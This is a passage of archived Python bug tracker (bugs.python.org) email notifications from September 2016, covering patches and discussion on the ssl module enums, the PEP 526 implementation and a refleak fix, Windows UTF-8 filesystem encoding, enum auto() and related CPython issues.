As with so many things in this life, we play the hand we're dealt.  I have my fingers crossed that LibreSSL will, in the long run, be far more sane, and that we can switch to it someday.  But for now I expect to have plenty more "necessary" OpenSSL upgrades foisted onto Python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:34:35 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 17:34:35 +0000
Subject: [issue25939] _ssl.enum_certificates() fails with ERROR_ACCESS_DENIED
 if python.exe run with low integrity level
In-Reply-To: <1450989628.26.0.849835515988.issue25939@psf.upfronthosting.co.za>
Message-ID: <1473356075.74.0.853933107013.issue25939@psf.upfronthosting.co.za>


Steve Dower added the comment:

Yes, and done.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25939>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:35:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 17:35:34 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <20160908173530.48474.11953.B5E9AC20@psf.io>


Roundup Robot added the comment:

New changeset e20c7d8a8187 by Steve Dower in branch 'default':
Issue #27781: Change file system encoding on Windows to UTF-8 (PEP 529)
https://hg.python.org/cpython/rev/e20c7d8a8187

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:35:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 17:35:49 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
Message-ID: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The patch removes ssl._import_symbols and adds more enums to the ssl module. Please review the patch. I'll update documentation in the next step.

With IntFlags it is much easier to understand flags like SSLContext.options

>>> import ssl
>>> ctx = ssl.create_default_context()
>>> ssl.Options(ctx.options)
<Options.OP_ALL|OP_NO_SSLv3|OP_NO_SSLv2|OP_NO_COMPRESSION: 2197947391>

----------
files: ssl_enum.patch
keywords: patch
messages: 275076
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, haypo, janssen
priority: normal
severity: normal
stage: patch review
status: open
title: Use IntEnum and IntFlags in ssl module
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44468/ssl_enum.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:36:29 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 17:36:29 +0000
Subject: [issue16826] Don't check for PYTHONCASEOK if interpreter started with
 -E
In-Reply-To: <1356964491.55.0.198222992625.issue16826@psf.upfronthosting.co.za>
Message-ID: <1473356189.56.0.204730950442.issue16826@psf.upfronthosting.co.za>


Eric Snow added the comment:

What ended up happening with this?

----------
nosy: +eric.snow
versions: +Python 3.6 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16826>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:37:20 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 17:37:20 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473356240.91.0.518408045378.issue27781@psf.upfronthosting.co.za>


Steve Dower added the comment:

This is pushed now - let the bug fixing begin :)

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:38:45 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 17:38:45 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473356325.71.0.255884764055.issue28025@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:46:24 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 17:46:24 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473356784.92.0.689232278015.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Here is the new patch. I hope I didn't miss any comment and fixed everything.

There is still a refleak to fix.

----------
Added file: http://bugs.python.org/file44469/hg-pep-526-v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:51:35 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 17:51:35 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473357095.79.0.896292744786.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Sorry, again attached a wrong diff, here is the correct one.

----------
Added file: http://bugs.python.org/file44470/hg-pep-526-v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:56:24 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 17:56:24 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473357384.15.0.55403815215.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

It looks like this part is causing a refleak

    def test_do_not_recreate_annotations(self):
        class C:
            del __annotations__
            try: #with self.assertRaises(NameError):
                x: int
            except NameError:
                pass

in test_opcodes

(for both options -- try and with)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:57:08 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 17:57:08 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473357428.94.0.480980142871.issue28019@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

PyLong_AsLong() not just converts Python integer to C long, but it also converts Python float to Python integer (with the lost of the fractional part). We need to check that the value is Python integer.

Here is a patch that fixes this issue and few other bugs.

----------
nosy: +serhiy.storchaka
stage: commit review -> patch review
versions:  -Python 3.3, Python 3.4
Added file: http://bugs.python.org/file44471/itertools_count_truncated_step.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:00:14 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 08 Sep 2016 18:00:14 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473357614.6.0.587333073137.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> It looks like this part is causing a refleak

There is one DECREF in ceval that you commented out.  I think it should actually be there.  But it doesn't solve the problem.

----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:00:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:00:28 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <20160908180024.48515.54985.72096A1F@psf.io>


Roundup Robot added the comment:

New changeset b4cc62473c13 by R David Murray in branch 'default':
#27364: fix "incorrect" uses of escape character in the stdlib.
https://hg.python.org/cpython/rev/b4cc62473c13

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:00:55 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 08 Sep 2016 18:00:55 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473357384.15.0.55403815215.issue27985@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKh8uQZpOSug+HjRkA5M-eZMPSzQRBYOkXsTarUEgUhcw@mail.gmail.com>


Guido van Rossum added the comment:

Yury will give you some help. Also, this patch no longer applies
cleanly to hg. :-(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:01:33 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 18:01:33 +0000
Subject: [issue28026] module_from_spec() should raise an error in 3.6
Message-ID: <1473357692.69.0.511977546834.issue28026@psf.upfronthosting.co.za>


New submission from Eric Snow:

In Lib/importlib/_bootstrap.py, module_from_spec() specifies that the current deprecation warning should be an error in 3.6.  So, here's a patch.

----------
assignee: eric.snow
components: Interpreter Core
files: module_from_spec.diff
keywords: patch
messages: 275086
nosy: brett.cannon, eric.snow
priority: normal
severity: normal
stage: patch review
status: open
title: module_from_spec() should raise an error in 3.6
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44472/module_from_spec.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28026>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:02:27 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 18:02:27 +0000
Subject: [issue23447] Import fails when doing a circular import involving an
 `import *`
In-Reply-To: <1423679925.56.0.995999383567.issue23447@psf.upfronthosting.co.za>
Message-ID: <1473357747.2.0.487571336634.issue23447@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I talked the semantic change over with Eric at the core sprint and we are both iffy enough on the semantic change and how it will impact stuff that we don't feel comfortable accepting the patch. Sorry, Steven, but thanks for taking a stab at it.

----------
assignee: brett.cannon -> 
nosy: +eric.snow
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23447>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:02:56 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 18:02:56 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473357776.88.0.78515371355.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Yury,

Commenting out was an attempt to debug. It should be there

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:03:19 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 18:03:19 +0000
Subject: [issue28026] module_from_spec() should raise an error in 3.6
In-Reply-To: <1473357692.69.0.511977546834.issue28026@psf.upfronthosting.co.za>
Message-ID: <1473357799.12.0.892842996036.issue28026@psf.upfronthosting.co.za>


Brett Cannon added the comment:

LGTM

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28026>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:03:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:03:36 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160908180333.12514.54316.C9203FA5@psf.io>


Roundup Robot added the comment:

New changeset 36545fa93d2b by Victor Stinner in branch 'default':
Add assertions to dk_set_index()
https://hg.python.org/cpython/rev/36545fa93d2b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:04:10 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 18:04:10 +0000
Subject: [issue21062] Evalute all import-related modules for best practices
In-Reply-To: <1395763138.25.0.943943141564.issue21062@psf.upfronthosting.co.za>
Message-ID: <1473357850.35.0.740376963814.issue21062@psf.upfronthosting.co.za>


Brett Cannon added the comment:

No need to keep this issue open as cleaning this stuff up will just come over time or never happen. :)

----------
resolution:  -> works for me
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21062>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:05:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 18:05:15 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1473355387.18.0.969528363665.issue27350@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwahTk=7jk_k-D5x6L9hRtLdSw8zZXnq4pX_+BLVK4QzVg@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> Did you test the patch with your superstable benchmarking tools Victor?

Not yet, as I wrote, we should benchmark the code (CPU and memory) to
document the code:

See my long comment for more details ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:05:58 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 18:05:58 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473357958.39.0.97087103741.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Just so we're clear:  I'm going to go with "auto()" and (mostly) use Python's standard routines (with only a little bit of metaclass magic).

Vedran opined:
> Since you like examples, what do you say about

I love examples!  Examples are like pictures, which are worth a thousand words.  ;)

>    class MyEnum(Enum):
>        red = some_function()
>        blue = red
>
> Now, is MyEnum.blue the same as MyEnum.red (watch: not "equal", but
> "same")?

Yes.

> Well, it depends on what some_function returns, right?

Nope.

> If it returns _auto_, they are not the same, but in all the other
> cases, blue is just an alias for red. So object identity depends on
> some value that could be external to the class. To me that's
> obviously unacceptable.

That would be unacceptable.  However, it would also be impossible*, because "_auto_" would be injected into the class namespace during "__prepare__()" and be unavailable for an external function to return.

* as impossible as anything is in Python -- so really, really difficult

> But even "the namespace class body is executed in" _should_ be a Python
> namespace, with all its rules.

One of those rules is:  the namespace is dict-like.

Which means it has methods such as __getitem__, __setitem__, etc., which means those methods can implement whatever is needed to give the namespace the desired semantics (within Python syntax).

Which, to some extent, is what will be used to transform an instance of "auto" into an appropriate integer.  In other words:

>>> class Color(Enum):
...     red = auto()
...     print(red)
...
1
>>> Color.red
<Color.red: 1>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:07:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:07:40 +0000
Subject: [issue21201] Uninformative error message in multiprocessing.Manager()
In-Reply-To: <1397236820.61.0.692426224091.issue21201@psf.upfronthosting.co.za>
Message-ID: <20160908180737.2574.55342.7659B4A6@psf.io>


Roundup Robot added the comment:

New changeset cbf81969aba4 by Davin Potts in branch '2.7':
Issue #21201: Improves readability of multiprocessing error message from server to client for certain exceptions
https://hg.python.org/cpython/rev/cbf81969aba4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21201>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:11:37 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:11:37 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <20160908181133.87704.33586.6F4DECF0@psf.io>


Roundup Robot added the comment:

New changeset faca0730270b by Steve Dower in branch 'default':
Fixes tests broken by issue #27781.
https://hg.python.org/cpython/rev/faca0730270b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:13:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 18:13:51 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473358431.03.0.463058516059.issue28025@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks Ethan! I have updated the patch with documentation and your fix.

Do you have an easy recipe to wrap properties like SSLContext.options to return an enum? It's not easy because super() does not support attribute proxy assignment. super().verify_mode = value raises an AttributeError.

----------
Added file: http://bugs.python.org/file44473/convert-ssl-constants-to-enums.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:14:21 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 18:14:21 +0000
Subject: [issue20683] Add example to tutorial namespace doc, section 9.2
In-Reply-To: <1392798452.78.0.903259935516.issue20683@psf.upfronthosting.co.za>
Message-ID: <1473358461.57.0.396527220217.issue20683@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20683>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:14:29 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 08 Sep 2016 18:14:29 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473358469.55.0.845074516128.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Ivan, take a look at my patch - i've fixed the refleak.  It was in STORE_ANNOTATION opcode, you didn't DECREF `ann` consistently in all error branches.  Also, you should never "break" in ceval -- only "goto error" or "DISPATCH()"

----------
Added file: http://bugs.python.org/file44474/hg-pep-526-v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:14:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:14:41 +0000
Subject: [issue28026] module_from_spec() should raise an error in 3.6
In-Reply-To: <1473357692.69.0.511977546834.issue28026@psf.upfronthosting.co.za>
Message-ID: <20160908181438.59475.2880.B94C1C0D@psf.io>


Roundup Robot added the comment:

New changeset ada5620efd82 by Eric Snow in branch 'default':
Issue #28026: Raise ImportError when exec_module() exists but create_module() is missing.
https://hg.python.org/cpython/rev/ada5620efd82

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28026>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:15:10 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 18:15:10 +0000
Subject: [issue28026] module_from_spec() should raise an error in 3.6
In-Reply-To: <1473357692.69.0.511977546834.issue28026@psf.upfronthosting.co.za>
Message-ID: <1473358510.05.0.931135710126.issue28026@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28026>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:17:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:17:02 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160908181659.2706.26845.97063576@psf.io>


Roundup Robot added the comment:

New changeset 19902d840448 by Victor Stinner in branch 'default':
Split lookdict_unicode_nodummy() assertion to debug
https://hg.python.org/cpython/rev/19902d840448

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:17:07 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 08 Sep 2016 18:17:07 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473328158.41.0.14176563434.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473358624.1076801.719891169.5F5591F9@webmail.messagingengine.com>


Benjamin Peterson added the comment:

Hmm, I prefer to compile with stdc99. I wonder if we should consider
this (presumably quite old) bluetooth.h to not exist if it doesn't work
with c99.

On Thu, Sep 8, 2016, at 02:49, Christian Heimes wrote:
> 
> Christian Heimes added the comment:
> 
> It compiles now. Sorry for the duplicate ticket.
> 
> ----------
> resolution:  -> fixed
> stage: needs patch -> resolved
> status: open -> closed
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28017>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:22:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:22:05 +0000
Subject: [issue23524] Use _set_thread_local_invalid_parameter_handler in
 posixmodule
In-Reply-To: <1424930057.56.0.00430774738557.issue23524@psf.upfronthosting.co.za>
Message-ID: <20160908182202.1822.30568.C53B4DF9@psf.io>


Roundup Robot added the comment:

New changeset e88e2049b793 by Steve Dower in branch 'default':
Issue #23524: Finish removing _PyVerify_fd from sources
https://hg.python.org/cpython/rev/e88e2049b793

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23524>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:25:22 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 18:25:22 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473359122.06.0.11817933596.issue28017@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I checked my local bluetooth.h. It looks like it won't compile on big endian platforms either.

Python uses some GCC features like __attribute__. Do they all work in C99 mode?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:32:29 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 08 Sep 2016 18:32:29 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473359122.06.0.11817933596.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473359546.1080536.719908569.4F999A95@webmail.messagingengine.com>


Benjamin Peterson added the comment:

stc99 means "C99 + GCC extensions that aren't incompatible with the
standard". gnuc99 means "sort of C99 with whatever GNU weirdness"

On Thu, Sep 8, 2016, at 11:25, Christian Heimes wrote:
> 
> Christian Heimes added the comment:
> 
> I checked my local bluetooth.h. It looks like it won't compile on big
> endian platforms either.
> 
> Python uses some GCC features like __attribute__. Do they all work in C99
> mode?
> 
> ----------
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28017>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:34:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:34:49 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <20160908183445.87545.48754.2FAB811B@psf.io>


Roundup Robot added the comment:

New changeset e1987bf14148 by Gregory P. Smith in branch '3.5':
document --with-optimizations in the README for issue26359.
https://hg.python.org/cpython/rev/e1987bf14148

New changeset 4afb12077e08 by Gregory P. Smith in branch 'default':
document --with-optimizations in the README for issue26359.
https://hg.python.org/cpython/rev/4afb12077e08

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:38:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:38:09 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <20160908183806.36576.20920.AB9929FB@psf.io>


Roundup Robot added the comment:

New changeset 8567bc2876af by Gregory P. Smith in branch '2.7':
document --with-optimizations in the README for issue26359.
https://hg.python.org/cpython/rev/8567bc2876af

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:38:19 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 18:38:19 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
Message-ID: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>


New submission from Zachary Ware:

After discussion at the core dev sprints, Guido has decreed that the files in Lib/plat-* can and should be removed.

----------
assignee: zach.ware
messages: 275106
nosy: gvanrossum, haypo, ned.deily, zach.ware
priority: normal
severity: normal
status: open
title: Remove Lib/plat-*/* files
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:39:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:39:12 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <20160908183910.1723.61810.75A939DD@psf.io>


Roundup Robot added the comment:

New changeset 14d89359a389 by Zachary Ware in branch 'default':
Issue #28027: Remove Lib/plat-* files
https://hg.python.org/cpython/rev/14d89359a389

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:40:02 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 18:40:02 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473360002.22.0.934385413924.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Will close this after the buildbots have confirmed they don't hate it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:40:13 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 18:40:13 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473360013.67.0.54290839742.issue28022@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> - make ftplib, imaplib, nntplib, pop3lib, smtplib etc. validate certs by default.

I'm not sure about this one:
http://legacy.python.org/dev/peps/pep-0476/#other-protocols

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:43:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:43:24 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <20160908184321.19090.75928.DC610609@psf.io>


Roundup Robot added the comment:

New changeset e256583e6062 by Zachary Ware in branch 'default':
Issue #28027: Mention the names of the removed modules in Misc/NEWS
https://hg.python.org/cpython/rev/e256583e6062

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:46:32 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 18:46:32 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473360392.75.0.679654458099.issue27364@psf.upfronthosting.co.za>


R. David Murray added the comment:

Here's a copy of Emanuel's deprecation patch with a versionchanged note in the lexical docs and a whatsnew entry.

----------
Added file: http://bugs.python.org/file44475/deprecate_invalid_escapes_both_5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:56:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 18:56:08 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160908185604.87325.89629.0DD991B5@psf.io>


Roundup Robot added the comment:

New changeset 9434f511937d by Raymond Hettinger in branch 'default':
Issue #27350: Add credits
https://hg.python.org/cpython/rev/9434f511937d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:56:29 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 18:56:29 +0000
